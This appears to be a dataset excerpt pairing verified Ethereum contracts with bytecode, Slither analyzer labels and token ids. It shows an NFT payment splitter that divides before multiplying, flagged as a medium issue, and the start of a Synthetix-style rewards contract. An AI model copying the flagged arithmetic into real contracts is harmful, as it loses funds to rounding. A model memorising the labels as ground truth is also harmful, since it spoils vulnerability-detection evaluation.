Unnamed: 0
int64 0
60k
| address
stringlengths 42
42
| source_code
stringlengths 52
864k
| bytecode
stringlengths 2
49.2k
| slither
stringlengths 47
956
| success
bool 1
class | error
float64 | results
stringlengths 2
911
| input_ids
sequencelengths 128
128
| attention_mask
sequencelengths 128
128
|
---|---|---|---|---|---|---|---|---|---|
58,400 | 0x951807EbBe1842375C892F1d89D2C6a6038A1abb | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract ETHWalkersPayments is Ownable{
using SafeMath for uint256;
receive() external payable {
}
fallback () external payable{
}
function _safeTransferETH(address to, uint256 value) internal returns (bool) {
(bool success, ) = to.call{ value: value, gas: 30_000 }(new bytes(0));
return success;
}
function withdraw() public onlyOwner {
uint balanceToMultiply = uint(address(this).balance) / uint(1000000); // 100% in millionths
uint apeShare = uint(3334); // ~0.3334%, total of 60 apes ~= 20.004%
uint extraShare = uint(2000); // 0.2% for extra assistance
uint oneSixthForFounder = (uint(1000000) - ((apeShare.mul(60)) + extraShare)) / uint(5); // Update when ape number increases
_safeTransferETH(payable(address(0x6ac5DEd5906C5eBe69ad00151f199bBf637C4707)), balanceToMultiply.mul(oneSixthForFounder)); // ~15.9592% to Derek
_safeTransferETH(payable(address(0xCEE06e0CD4d21aD17487Df7a896b8CB77A36DDfc)), balanceToMultiply.mul(oneSixthForFounder)); // ~15.9592% to Matt
_safeTransferETH(payable(address(0xAC937BCd2C0e11f639C25a38b2794Ac939FFeE1f)), balanceToMultiply.mul(oneSixthForFounder)); // ~15.9592% to Max
_safeTransferETH(payable(address(0x44C4482652BD9fa04F5b3d3E4Ef76b8512BCaF35)), balanceToMultiply.mul(oneSixthForFounder)); // ~15.9592% to Stephen
_safeTransferETH(payable(address(0xB1aCd7f40a13022f0DD458769aD555FB99615d10)), balanceToMultiply.mul(oneSixthForFounder)); // ~15.9592% to Chase
_safeTransferETH(payable(address(0x9cD4177604c6732818c0647346C275B35cD956F0)), balanceToMultiply.mul(extraShare)); // ~0.2% to Courtney
_safeTransferETH(payable(address(0x34af7292E817c6AF135B6e49399f3012674c4c48)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xeb298223F82EcB1e8b21C9F0cA5E7ba7a98C732e)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xF1e82BCeCD8A5770C0BB3731A76ac0199F912cA6)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xEee899B6521DB73E94F4B9224Cdf3db0010Fa334)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x230FcED7feAeD9DfFC256B93B8F0c9195a743c89)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xb67167d3f3d4a8c385C132592CE681dFD98ee2e8)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x900b7ce829E58F284C46Db1fA468Dde519f485e3)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xaf469C4a0914938e6149CF621c54FB4b1EC0c202)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xC0eB311C2f846BD359ed8eAA9a766D5E4736846A)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x9ad3c05B3FAA93575e4F91F1B1eDff7B337d528F)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x17A77D63765963d0Cb9deC12Fa8F62E68Fee8fD4)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xF07bD3a1e2E84bFc1897C4433189590bd8c80b19)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xB2861cD1eCBc01b4Cf239491F8b951CA652B53C0)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x6371D2309B7F79bB0FCaa6e7E8CeEEf8f1D4C484)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x591F8a2deCC1c86cce0c7Bea22Fa921c2c72fb95)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x12CCdf3513f8f09f4C0E6Ad7821988a7A8Ac0bE1)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x87EF4444C8E86AC65D356FfC2174fCa6ebdA0303)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xCFc9E5258A8773cEa0440077779a17096A045BF2)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x72FAe93d08A060A7f0A8919708c0Db74Ca46cbB6)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x1a677d15b8f28c26ad3cF257518AC69cc1ab5178)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xB1Ce2c57A6f8816113fd172A75fC3B9803320228)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xD30B579Be7da30C903c96c7dE3729F8977e614E4)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xf0c55dA3a8274f6843434dF0da437eD4AC0Dd310)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x797bE6e98861C39b89f7B8BFfe492d26C29af84F)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x790d5818D56F5a7a8e214A42797752822117BF3D)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x59f42EdA42Eb551a17A59E2C6549F18229A35c3e)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xeB08809976E7688A41378af8e8AC1CBBCf9C9Ef8)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xd950b9a4f667184c386b0C57311784C762D591b6)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xB75959df7B0dD6F9dfEa69b3e1661E7b07B79600)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x756624F2c0816bFb6a09E6d463c695b39a146629)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x6530dd1aABD45FbFB97a9368820FBB6ef561b765)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x9Dfd400201b905dc343cf0EAAE5f68F4DA342b60)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xf76982fe0C2AC32C9126002b8988F5946421Ce4c)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x46b2bD5C888E6d57a839c559FD6076F2c15A8cB1)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x3584fE4F1e719FD0cC0F814a4A675181438B45DD)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xc968416370639A9B74B077A4a8f97076e4Ae1D9E)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x0F73622476E604d34dDF24ef4D709968a264A259)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x9AaE5b185f764c5F1E06Ea3967bbaE3ADf39b0f5)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x906b346A7d88d8EC5EB0749fEd160702f58BF425)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xd887C683ae148B622c42235D7c2395F9b22c6777)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x543bBa29d7CF8dAB00D0dA3A86ff1c6C5B4418d3)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x8A3fECD0348da48d5fe4dC05b2897d2758942abf)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x80B1b33a888924EE204b27553D270B3ae6a22ac4)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x2d7B25436eAF47e63214900061F1bb6269B840dd)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xE859d127b7e68E1C8B1212e1b7925B84B2D2CE7b)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x1Cd7E71A6C81a576Fb9ec00B58175b086CAf1504)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xFd4938b02074DF1d3Aa15a97Ee561f40704b2195)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xEC36697c3C8C8E385b37e17Df40dBCbE2dbd9ffC)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x9Dae5b7E7b13fb95fF83c4c617E9a1BCe60d383A)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x050515e0D42d1Dca9dC8f6E9D890A9E29417Fb9e)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x1fcb4Fb1c8C239CfDE95c833fE5e3564d218733b)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xD3C6E4583BCc33339D733cb35034362D134A6749)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xFfA628eAd5a8fa81531D50A6b571287f588C9dA1)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x4265D230d2D54010d853b107848FC6e0B64c9c24)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0x3e6cA480f9f474c5f495bAf8263d5Ff284d3bbc1)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xDef36C661A609421Bc2441BEf51F99783593bbdF)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xD80a3F1C31cCF19ea14c69250D5cDFF7e8D305b5)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xef8e27BAD0F2eEE4e691e5B1eaAb3c019e369557)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xF7D993147f69F3812f5f1eF50067dd7EbDe93E8b)), balanceToMultiply.mul(apeShare));
_safeTransferETH(payable(address(0xd3AefE3c531E3E2eB0689206E7D495843c943550)), balanceToMultiply.mul(apeShare));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | 0x6080604052600436106100435760003560e01c80633ccfd60b1461004c578063715018a6146100615780638da5cb5b14610076578063f2fde38b146100a25761004a565b3661004a57005b005b34801561005857600080fd5b5061004a6100c2565b34801561006d57600080fd5b5061004a610a50565b34801561008257600080fd5b50600054604080516001600160a01b039092168252519081900360200190f35b3480156100ae57600080fd5b5061004a6100bd366004610c02565b610a86565b6000546001600160a01b031633146100f55760405162461bcd60e51b81526004016100ec90610c62565b60405180910390fd5b6000610104620f424047610caf565b9050610d066107d0600060058261011c85603c610b21565b6101269190610c97565b61013390620f4240610cee565b61013d9190610caf565b9050610166736ac5ded5906c5ebe69ad00151f199bbf637c47076101618684610b21565b610b34565b5061018973cee06e0cd4d21ad17487df7a896b8cb77a36ddfc6101618684610b21565b506101ac73ac937bcd2c0e11f639c25a38b2794ac939ffee1f6101618684610b21565b506101cf7344c4482652bd9fa04f5b3d3e4ef76b8512bcaf356101618684610b21565b506101f273b1acd7f40a13022f0dd458769ad555fb99615d106101618684610b21565b50610215739cd4177604c6732818c0647346c275b35cd956f06101618685610b21565b506102387334af7292e817c6af135b6e49399f3012674c4c486101618686610b21565b5061025b73eb298223f82ecb1e8b21c9f0ca5e7ba7a98c732e6101618686610b21565b5061027e73f1e82bcecd8a5770c0bb3731a76ac0199f912ca66101618686610b21565b506102a173eee899b6521db73e94f4b9224cdf3db0010fa3346101618686610b21565b506102c473230fced7feaed9dffc256b93b8f0c9195a743c896101618686610b21565b506102e773b67167d3f3d4a8c385c132592ce681dfd98ee2e86101618686610b21565b5061030a73900b7ce829e58f284c46db1fa468dde519f485e36101618686610b21565b5061032d73af469c4a0914938e6149cf621c54fb4b1ec0c2026101618686610b21565b5061035073c0eb311c2f846bd359ed8eaa9a766d5e4736846a6101618686610b21565b50610373739ad3c05b3faa93575e4f91f1b1edff7b337d528f6101618686610b21565b506103967317a77d63765963d0cb9dec12fa8f62e68fee8fd46101618686610b21565b506103b973f07bd3a1e2e84bfc1897c4433189590bd8c80b196101618686610b21565b506103dc73b2861cd1ecbc01b4cf239491f8b951ca652b53c06101618686610b21565b506103ff736371d2309b7f79bb0fcaa6e7e8ceeef8f1d4c4846101618686610b21565b5061042273591f8a2decc1c86cce0c7bea22fa921c2c72fb956101618686610b21565b506104457312ccdf3513f8f09f4c0e6ad7821988a7a8ac0be16101618686610b21565b506104687387ef4444c8e86ac65d356ffc2174fca6ebda03036101618686610b21565b5061048b73cfc9e5258a8773cea0440077779a17096a045bf26101618686610b21565b506104ae7372fae93d08a060a7f0a8919708c0db74ca46cbb66101618686610b21565b506104d1731a677d15b8f28c26ad3cf257518ac69cc1ab51786101618686610b21565b506104f473b1ce2c57a6f8816113fd172a75fc3b98033202286101618686610b21565b5061051773d30b579be7da30c903c96c7de3729f8977e614e46101618686610b21565b5061053a73f0c55da3a8274f6843434df0da437ed4ac0dd3106101618686610b21565b5061055d73797be6e98861c39b89f7b8bffe492d26c29af84f6101618686610b21565b5061058073790d5818d56f5a7a8e214a42797752822117bf3d6101618686610b21565b506105a37359f42eda42eb551a17a59e2c6549f18229a35c3e6101618686610b21565b506105c673eb08809976e7688a41378af8e8ac1cbbcf9c9ef86101618686610b21565b506105e973d950b9a4f667184c386b0c57311784c762d591b66101618686610b21565b5061060c73b75959df7b0dd6f9dfea69b3e1661e7b07b796006101618686610b21565b5061062f73756624f2c0816bfb6a09e6d463c695b39a1466296101618686610b21565b50610652736530dd1aabd45fbfb97a9368820fbb6ef561b7656101618686610b21565b50610675739dfd400201b905dc343cf0eaae5f68f4da342b606101618686610b21565b5061069873f76982fe0c2ac32c9126002b8988f5946421ce4c6101618686610b21565b506106bb7346b2bd5c888e6d57a839c559fd6076f2c15a8cb16101618686610b21565b506106de733584fe4f1e719fd0cc0f814a4a675181438b45dd6101618686610b21565b5061070173c968416370639a9b74b077a4a8f97076e4ae1d9e6101618686610b21565b50610724730f73622476e604d34ddf24ef4d709968a264a2596101618686610b21565b50610747739aae5b185f764c5f1e06ea3967bbae3adf39b0f56101618686610b21565b5061076a73906b346a7d88d8ec5eb0749fed160702f58bf4256101618686610b21565b5061078d73d887c683ae148b622c42235d7c2395f9b22c67776101618686610b21565b506107b073543bba29d7cf8dab00d0da3a86ff1c6c5b4418d36101618686610b21565b506107d3738a3fecd0348da48d5fe4dc05b2897d2758942abf6101618686610b21565b506107f67380b1b33a888924ee204b27553d270b3ae6a22ac46101618686610b21565b50610819732d7b25436eaf47e63214900061f1bb6269b840dd6101618686610b21565b5061083c73e859d127b7e68e1c8b1212e1b7925b84b2d2ce7b6101618686610b21565b5061085f731cd7e71a6c81a576fb9ec00b58175b086caf15046101618686610b21565b5061088273fd4938b02074df1d3aa15a97ee561f40704b21956101618686610b21565b506108a573ec36697c3c8c8e385b37e17df40dbcbe2dbd9ffc6101618686610b21565b506108c8739dae5b7e7b13fb95ff83c4c617e9a1bce60d383a6101618686610b21565b506108eb73050515e0d42d1dca9dc8f6e9d890a9e29417fb9e6101618686610b21565b5061090e731fcb4fb1c8c239cfde95c833fe5e3564d218733b6101618686610b21565b5061093173d3c6e4583bcc33339d733cb35034362d134a67496101618686610b21565b5061095473ffa628ead5a8fa81531d50a6b571287f588c9da16101618686610b21565b50610977734265d230d2d54010d853b107848fc6e0b64c9c246101618686610b21565b5061099a733e6ca480f9f474c5f495baf8263d5ff284d3bbc16101618686610b21565b506109bd73def36c661a609421bc2441bef51f99783593bbdf6101618686610b21565b506109e073d80a3f1c31ccf19ea14c69250d5cdff7e8d305b56101618686610b21565b50610a0373ef8e27bad0f2eee4e691e5b1eaab3c019e3695576101618686610b21565b50610a2673f7d993147f69f3812f5f1ef50067dd7ebde93e8b6101618686610b21565b50610a4973d3aefe3c531e3e2eb0689206e7d495843c9435506101618686610b21565b5050505050565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016100ec90610c62565b610a846000610bb2565b565b6000546001600160a01b03163314610ab05760405162461bcd60e51b81526004016100ec90610c62565b6001600160a01b038116610b155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016100ec565b610b1e81610bb2565b50565b6000610b2d8284610ccf565b9392505050565b6040805160008082526020820190925281906001600160a01b03851690617530908590604051610b649190610c29565b600060405180830381858888f193505050503d8060008114610ba2576040519150601f19603f3d011682016040523d82523d6000602084013e610ba7565b606091505b509095945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208284031215610c13578081fd5b81356001600160a01b0381168114610b2d578182fd5b60008251815b81811015610c495760208186018101518583015201610c2f565b81811115610c575782828501525b509190910192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610caa57610caa610d05565b500190565b600082610cca57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610ce957610ce9610d05565b500290565b600082821015610d0057610d00610d05565b500390565b634e487b7160e01b600052601160045260246000fdfea264697066735822122071de3c9bcfaf0cc401eeba0715d7029609ca5fe3857dfa8340b6b5f6d45f6ae164736f6c63430008020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
17914,
2581,
15878,
4783,
15136,
20958,
24434,
2629,
2278,
2620,
2683,
2475,
2546,
2487,
2094,
2620,
2683,
2094,
2475,
2278,
2575,
2050,
16086,
22025,
27717,
7875,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
3206,
3802,
18663,
28143,
2869,
4502,
25219,
7666,
2003,
2219,
3085,
1063,
2478,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,401 | 0x95181329dea5383beb3e9968c0af1a70bb3bd616 | /**
*Submitted for verification at Etherscan.io on 2020-08-07
*/
/**
*Submitted for verification at Etherscan.io on 2020-07-18
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
